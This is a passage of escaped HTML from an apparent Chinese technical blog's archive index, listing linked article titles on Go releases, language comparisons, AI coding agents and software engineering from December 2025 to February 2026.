href=\"https://tonybai.com/2026/02/24/go-vs-node-js-performance-rewrite-rashomon/\"\u003e性能之战的“罗生门”：Go 重写 Node.js 项目，究竟赢在了哪里？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/23/financial-infrastructure-rust-to-go-pragmatism-victory/\"\u003e金融级基础设施重构：放弃 Rust 拥抱 Go，务实主义的最终胜利？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/23/cloudflare-bgp-withdrawal-outage-go-post-mortem/\"\u003e一行 Go 代码瘫痪 6 小时！复盘 Cloudflare BGP 路由撤回灾难\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/22/go-1-26-go-mod-init-downgrade-collision-review/\"\u003e“你装了 Go 1.26，却写不了 Go 1.26 的代码？”——复盘 go mod init 的降级风波\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/21/safety-vs-delivery-speed-why-farewell-rust-in-2026/\"\u003e当“安全性”遭遇“交付速度”：2026 年，我为什么告别了 Rust\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/21/compound-engineering-ai-native-software-development-philosophy/\"\u003e复利工程（Compound Engineering）：AI 原生时代的软件开发新哲学\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/20/why-we-need-new-go-module-review-mechanism/\"\u003e别再轻信 GitHub 上的源码：为何我们需要全新的 Go 模块审查机制？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/19/using-go-fix-to-modernize-go-code/\"\u003eGo 1.26 重磅更新：用 go fix 重塑代码现代化的艺术\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/18/why-we-chose-go-over-python-for-llm-gateways/\"\u003eAI 基础设施的语言之争：为何构建 LLM 网关时，我们放弃了 Python 选择了 Go？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/16/go-1-26-go-mod-init-changes-version-management-philosophy/\"\u003eGo 1.26 ：go mod init 默认行为的变化与 Go 版本管理的哲学思辨\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/15/openclaw-core-engine-pi-architecture-philosophy-minimalism/\"\u003e极简主义的胜利：OpenClaw 核心引擎 Pi 的架构哲学与开发实录\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/15/go-core-team-rejects-ai-authorship/\"\u003e拒绝 AI 署名！Go 核心团队在 AIGC 时代划下的“工程红线”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/14/2026-software-factory-manifesto-code-not-by-humans/\"\u003e“代码必须不是人写的”：2026 年软件工厂宣言！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/14/some-changes-in-go-1-26/\"\u003eGo 1.26 中值得关注的几个变化：从 new(expr) 真香落地、极致性能到智能工具链\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/13/grady-booch-uml-software-engineering-third-golden-age-begins/\"\u003eUML 之父 Grady Booch：别听 CEO 瞎忽悠，软件工程的第三次黄金时代才刚刚开始\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/13/go-microservices-refactoring-10x-backend-vs-mobile-collapse/\"\u003eGo 微服务重构实录：当后端性能提升 10 倍，移动端体验为何反而崩塌？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/12/ai-garbage-code-hashicorp-founder-vouch-rebuilding-open-source-trust/\"\u003eAI 垃圾代码泛滥？HashiCorp 创始人开源 Vouch：重构开源信任机制\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/12/p2h-to-p2a2h-software-architecture-inversion-designing-for-agents/\"\u003e从 P2H 到 P2A2H：软件架构的终极倒置——为智能体设计软件\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/11/2026-software-development-anthropic-agentic-coding-trends-report/\"\u003e2026 软件开发新纪元：解读 Anthropic《Agentic Coding 趋势报告》\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/11/go-1-26-json-v2-delay-7-technical-roadblocks/\"\u003eGo 1.26 发布在即，为何 json/v2 依然“难产”？七大技术路障全解析\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/10/ai-agent-realizes-ultimate-dream-software-factory/\"\u003e输入需求，输出系统：AI Agent 正在实现软件工程的“终极梦想” —— 软件工厂！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/10/goodbye-flaky-tests-go-testing-nettest-proposal/\"\u003e告别 Flaky Tests：Go 官方拟引入 testing/nettest，重塑内存网络测试标准\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/09/amp-kills-vscode-plugin-human-ai-pair-programming-is-dead/\"\u003eAMP 宣布砍掉 VS Code 插件：为什么说“人机结对编程”已死？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/09/go-immutable-types-8-year-dormant-proposal-awakened/\"\u003e沉睡 8 年的提案被唤醒：Go 语言真的要引入“不可变类型”了吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/08/go-boilerplate-code-vs-rust-data-refutes-stereotypes/\"\u003e数据打脸刻板印象：Go 的“样板代码”竟然和 Rust 一样多？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/08/claude-code-agent-team-mode/\"\u003e告别单打独斗！Claude Code 全新“Agent Team”模式：当 AI 开始组队干活\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/06/go-2-dont-become-a-frankenstein-monster/\"\u003e“Go 2，请不要发生！”：如果 Go 变成了“缝合怪”，你还会爱它吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/05/brad-fitzpatrick-cachelink-reduce-go-test-wait-time/\"\u003e大项目构建太慢？Brad Fitzpatrick 提议引入 -cachelink 降低测试等待时间\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/05/ai-code-quality-surpasses-80-percent-of-human-programmers/\"\u003e承认吧，AI 写的代码，平均质量已经超过了 80% 的人类程序员！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/04/openclaw-author-cli-ultimate-agent-interface-vs-mcp/\"\u003e忘掉 MCP？OpenClaw 作者说：CLI 才是 AI 连接世界的终极接口\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/04/goodbye-container-heap-go-generic-heap-heap-v2-proposal/\"\u003e再见，丑陋的 container/heap！Go 泛型堆 heap/v2 提案解析\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/03/russ-cox-15-year-war-on-floating-point-conversion/\"\u003e算法神话的祛魅：Russ Cox 与浮点数转换的 15 年求索之路\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/03/claude-code-founder-10x-efficiency-10-hidden-skills/\"\u003eClaude Code 创始人亲授：解锁 10 倍效率的 10 个“隐藏技能”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/02/beads-bd-distributed-task-tracking-engine-for-ai-agent/\"\u003eGit 即数据库：Beads (bd) —— 专为 AI Agent 打造的分布式任务追踪引擎\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/01/moltbook-first-social-network-for-ai-agent/\"\u003e地球上第一个“硅基生命”社交网络moltbook上线：人类禁止发帖，只能围观！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/02/01/go-rewrite-python-gateway-10x-performance-career-nightmare/\"\u003e我用 Go 重写了 Python 网关，性能提升 10 倍，却成了职场噩梦\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202601\"\u003e2026.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/31/go-official-updates-race-detector-trace-ui-pprof/\"\u003eGo 性能诊断工具大变天？Race 检测有望进生产，Trace 秒开不是梦！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/31/rust-vs-typescript-ai-agent-battleground-winner/\"\u003eRust 输了？在 AI Agent 的战场上，TypeScript 才是唯一的“神”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/30/clawdbot-author-peter-steinberger-full-interview/\"\u003e“退休”大佬的 AI 复出战：为了“好玩”，他写出了火遍全网的 Moltbot\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/29/write-a-good-claude-md/\"\u003e你的 CLAUDE.md 写错了：为什么指令越多，AI 越笨？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/29/wso2-goodbye-java-hello-go-tech-stack-shift/\"\u003e20 年 Java 老店的“背叛”：WSO2 为何高呼“Goodbye Java, Hello Go”？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/28/go-standard-library-vendor-std-cmd-dependency-management/\"\u003eGo 标准库竟然也用 vendor？std 和 cmd 模块是如何管理外部依赖的\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/28/clawdbot-author-ai-development-workflow/\"\u003e别读代码了，看着它流过就行：ClawdBot 作者的 AI 开发工作流\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/27/typescript-compiler-go-rewrite-10x-speed-microsoft-details/\"\u003eTypeScript 编译器 Go 重写版提速 10 倍：微软团队深度揭秘幕后工程细节\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/25/claude-code-official-best-practices-50-core-rules/\"\u003eClaude Code 官方最佳实践：50 条没人告诉你的“核心军规”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/25/gas-town-multi-agent-orchestration-ai-programming-revolution/\"\u003eGas Town 启示录：多智能体编排开启 AI 编程工业革命\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/24/go-generics-finally-supports-generic-methods/\"\u003eGo 泛型落地 4 年后，终于要支持泛型方法了！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/23/go-developer-2025-survey-result/\"\u003e2025 Go 官方调查解读：91% 满意度背后的隐忧与 AI 时代的“双刃剑”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/22/why-are-we-still-talking-about-containers-in-ai-age/\"\u003eKelsey Hightower 退休后的冷思考：为什么 10 年过去了，我们还在谈论容器？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/22/a-bug-cause-50000-goroutine-leak/\"\u003e凌晨3点的警报：一个导致 50000 多个 Goroutine 泄漏的 Bug 分析\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/21/ai-coding-evolution-from-prompting-to-ralph/\"\u003e从“手搓 Prompt”到“无限循环”：AI 编码的下一个形态是“Ralph”吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/21/integrating-cuda-in-go/\"\u003e当 Go 遇上 GPU：用 CUDA 释放千倍算力的实战指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/20/ai-and-go-opportunities-and-challenges/\"\u003eAI 时代，Go 语言会“失宠”还是“封神”？—— GopherCon 2025 圆桌深度复盘\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/19/unleashing-the-go-toolchain/\"\u003eGo 语言的“魔法”时刻：如何用 -toolexec 实现零侵入式自动插桩？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/18/traits-of-a-good-tech-lead/\"\u003eTech Lead 不是管理者？一文看懂技术负责人的核心职责与能力模型\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/18/go-cryptography-principles/\"\u003eGo 官方密码学原则：为什么 Go 的 Crypto 库难以被“用错”？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/17/ai-era-cognitive-friction-as-your-last-moat/\"\u003e在 AI 时代主动“找虐”：为什么保留“认知摩擦”是你最后的护城河？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/17/go-rust-zig-simplicity-vs-control/\"\u003eGo, Rust 还是 Zig？一场关于“简单”与“控制”的灵魂拷问\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/16/go-community-the-right-kind-of-abstraction/\"\u003e为什么 Go 社区强调避免不必要的抽象？—— 借用海德格尔哲学寻找“正确”的答案\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/15/where-did-the-memory-go-gopher-unanswered-question/\"\u003e内存去哪儿了？一个让大多数 Gopher 都无法清晰回答的问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/14/google-ucp-agentic-commerce-architecture-revolution/\"\u003e当机器开始“剁手”：详解 Google UCP 与 Agentic Commerce 的架构革命\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/14/go-explicit-philosophy-implicit-interfaces-design-wisdom/\"\u003eGo 的“显式哲学”为何在接口上“食言”了？—— 探秘隐式接口背后的设计智慧\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/13/how-markdown-took-over-the-world/\"\u003e技术考古：Markdown 为何从博客工具演变成统治 AI 世界的“通用语”？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/13/agent-native-architecture/\"\u003e像构建 Claude Code 一样构建应用：揭秘 Agent-native 架构的 5 大核心原则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/12/victoriametrics-guide-most-efficient-go-code/\"\u003e从入门到极致：VictoriaMetrics 教你写出最高效的 Go 代码\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/11/21-lessons-from-google-engineer/\"\u003e代码之外的修炼：Google 资深工程师的 21 条“生存法则”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/11/proposal-float-to-int-conversions-should-saturate-on-overflow/\"\u003eGo 的“浮点数陷阱”将被填平：浮点转整数即将在所有平台上行为一致\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/10/go-dropped-from-7th-to-16th-in-one-year/\"\u003e离了大谱！Go 一年之内从第 7 掉到第 16\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/09/the-most-popular-go-dependency-is/\"\u003e谁才是 Go 生态的“幕后之王”？—— 深度挖掘 4000 万个节点后的惊人发现\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/08/databases-in-2025-a-year-in-review/\"\u003ePostgreSQL 吞噬世界，MongoDB 起诉 Go 开源项目：2025 数据库年度盘点\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/08/how-claude-code-works/\"\u003e拆解 Claude Code：Coding Agent 终于“能用”背后的架构真相\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/07/stop-vibe-coding-professional-developers-master-coding-agent-2025/\"\u003e别再“Vibe Coding”了：2025 年专业开发者是如何驾驭 Coding Agent的？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/07/go-language-comfort-zone-in-contempt-chain-pyramid/\"\u003eGo 语言的“舒适区”：为何在这张“鄙视链”金字塔中，Go 仅次于 C？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/06/go-sum-is-not-a-lockfile/\"\u003e别再盯着 go.sum 看了：它不是你想象中的那个 Lockfile\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/06/a-golden-map-to-distributed-architect/\"\u003e耗时六个月，我为你画了一张通往“分布式架构师”的黄金地图\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/05/how-ken-thompson-developed-go-language-at-google/\"\u003eGo 考古：图灵奖得主 Ken Thompson 亲述，Go 语言是如何在 C++ 的“废墟”上诞生的\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/05/httpstonybai-com20260105claude-code-author-reveals-private-ai-coding-config/\"\u003e刚刚，Claude Code 作者曝光了自己的“私房”配置：原来顶尖高手是这样用 AI 写代码的！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/04/stop-lying-to-the-compiler/\"\u003e让编译器成为你的副驾驶：告别“防御性编程”，拥抱“类型驱动开发”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/04/stick-to-the-core-embrace-variables-2025-review-2026-outlook/\"\u003e坚守内核，拥抱变量：我的 2025 年终复盘与 2026 展望\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/03/why-cpp-programmers-keep-growing-fast/\"\u003e为什么 AI 时代，C++ 和 Rust 反而更火了？Herb Sutter 的硬核解读\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/02/kent-beck-ai-era-code-review-end-and-rebirth/\"\u003eKent Beck 最新思考：AI 时代的“一人派对”，代码审查的终结与重生\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/02/go-supply-chain-attack-source-code-to-capability-auditing-paradigm-shift/\"\u003e从“源码审计”到“能力审计”：Go 生态应对供应链攻击的范式转移\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/01/go-archaeology-porting-policy/\"\u003eGo 考古：Go 官方如何决定支持你的 CPU 和 OS？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2026/01/01/ai-is-the-fastest-way-to-forget-how-to-code/\"\u003eAI 是让你忘掉如何编程的最快方式\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零二五\"\u003e二零二五\u003c/h3\u003e\n\u003ch4 id=\"202512\"\u003e2025.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/31/go-introspection-using-debug-buildinfo/\"\u003eGo 服务自省指南：抛弃 ldflags，让你的二进制文件“开口说话”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/31/why-go-community-so-active-and-friendly/\"\u003e代码简单，人也简单？揭秘 Go 社区的“反内卷”文化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/30/logging-sucks/\"\u003eLogging 已死？从“调试日记”到“结构化事件”的范式转移\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/30/high-concurrency-backend-go-vs-rust/\"\u003e高并发后端：坚守 Go，还是拥抱 Rust？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/29/why-many-software-engineers-still-ignore-ai-programming/\"\u003e“为什么很多工程师还在无视 AI 编程？”—— 这里的答案，或许决定了你三年后的身价\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/29/go-community-new-sum-type-end-interface-union-types/\"\u003e告别 interface{} 模拟，Go 终于要有真正的 Union 类型了？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/28/state-of-ai-vs-human-code-generation-report/\"\u003eBug 激增 1.7 倍！AI 写代码：是速度的蜜糖，还是质量的砒霜？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/27/code-review-hell-in-ai-age/\"\u003eAI 代码审查的“危”与“机”：从个体挣扎到 Uber 的系统化解法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/27/rob-pike-outburst-denounces-ai-companies-hypocritical-thanks/\"\u003eRob Pike 罕见暴怒！痛斥 AI 公司的“伪善”致谢信，引爆技术圈\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/26/google-2025-research-breakthroughs/\"\u003e从工具到伙伴：Google 三巨头定义 2025 为“AI Agent 与推理元年”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/26/think-like-go-founders-relearn-go-five-principles/\"\u003e像 Go 创始人一样思考：用五大思维原理重学 Go 语言\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/25/go-next-frontier-gophercon-2025/\"\u003eGo 的 AI 时代宣言：我们如何用“老”原则，解决“新”问题？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/24/bash-vs-go-10x-code-100x-maintainability/\"\u003eBash 虽好，但我选 Go：如何用 10 倍代码换来 100 倍的维护性？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/24/profiling-request-latency-with-critical-path-analysis/\"\u003eGo 性能分析的“新范式”：用关键路径分析破解高并发延迟谜题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/23/goodbye-if-else-hell-openfeature-feature-flag-management-go/\"\u003e告别“If-Else”地狱：OpenFeature 如何重塑 Go 应用的特性开关管理？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/22/alan-donovan-go-code-modernization/\"\u003eAI 还在写“老式 Go”？Alan Donovan 详解 Go 代码的现代化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/21/real-programmers-dont-fix-computers-ai-stars-and-seas/\"\u003e别演了，真实的程序员根本不修电脑：我们左手AI，右手星辰大海\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/21/go-1-26-cryptographic-storm-vault-compliance-vs-go-security/\"\u003eGo 1.26 的“加密风暴”：当 Hashicorp Vault 的合规需求，撞上 Go 团队的安全哲学\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/20/ai-coding-era-productivity-leap-2025-developer-ecosystem-report/\"\u003eAI 编码时代的生产力跃迁：2025 年开发者生态报告深度解读\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/20/goroutine-bubble-universe-go-concurrency-new-dimension/\"\u003eGoroutine “气泡”宇宙——Go 并发模型的新维度\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/19/twilio-say-goodbye-microservices/\"\u003e再见了，微服务：从 100 多个“问题儿童”到 1 个“超级巨星”的架构回归\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/19/anthropic-agent-skills-open-standard-launch/\"\u003e继 MCP 之后，Anthropic 再放大招：Agent Skills 正式发布为开放标准！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/18/go-community-first-case-ai-assisted-programming/\"\u003e“这段代码是 AI 写的！”—— Go 社区的“AI 辅助编程”第一案\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/18/escaping-java-bicycle-shed-is-go-the-pure-land/\"\u003e逃离 Java 的“自行车棚”：Go 语言真的是那片“净土”吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/17/ai-programming-90-percent-trap-generation-vs-bug-fix/\"\u003eAI 编程的“90% 陷阱”：为什么你生成代码 1 分钟，修 Bug 却要 1 小时？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/17/cloudflare-2025-report-go-language-api-traffic-ai-surge/\"\u003eCloudflare 2025 年度报告发布——Go 语言再次“屠榜”API 领域，AI 流量激增！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/16/go-1-26-foresight/\"\u003eGo 1.26 新特性前瞻：从 Green Tea GC 到语法糖 new(expr)，性能与体验的双重进化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/15/go-language-anti-patterns-10-donts/\"\u003eGo 语言的“反模式”清单：来自资深 Gopher 血泪教训的 10 条“不要做”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/14/dont-let-ai-put-your-brain-cpu-in-wait/\"\u003e你的大脑是 CPU，别让 AI 把它挂起 (WAIT)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/13/influxdb-3-0-grand-gamble-or-painful-cycle/\"\u003eInfluxDB 3.0：一场豪赌的未来，还是又一次痛苦的轮回？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/13/from-eiffel-contract-to-go-interface/\"\u003e跨越20年的对话：从 Eiffel 的“契约”到 Go 的“接口”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/12/gin-is-a-very-bad-software-library/\"\u003eGin 真的是“真菌”吗？—— 一篇引发热议的“反 Gin”檄文解读\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/12/talk-is-cheap-show-me-the-spec/\"\u003eLinus 的名言要改了：Talk is cheap, show me the Spec\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/11/jepsen-report-nats-jetstream-data-loss-acknowledged-writes/\"\u003eJepsen 报告震动 Go 社区：NATS JetStream 会丢失已确认写入\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/11/is-golang-still-a-growing-programming-language/\"\u003eGo 跌出 TIOBE 前十？别被排名骗了，这才是它的真实地位\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/10/russ-cox-interview-go-birth-evolution-future/\"\u003e“我曾想付钱给 Google 去工作”—— Russ Cox 深度访谈：Go 的诞生、演进与未来\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/09/vet-add-check-for-using-verb-q/\"\u003eGo 的“最小惊讶原则”破功了吗？—— 一个vet 新提案引发的思考\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/09/programmer-all-in-ai-survival-revelation-in-2025/\"\u003e给了机关枪，你却非要耍大刀：2025 年末，程序员 All in AI 的生存启示录\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/12/08/api-design-pattern-and-implementation\"\u003e拒绝“面条代码”，做有架构思维的 Go API 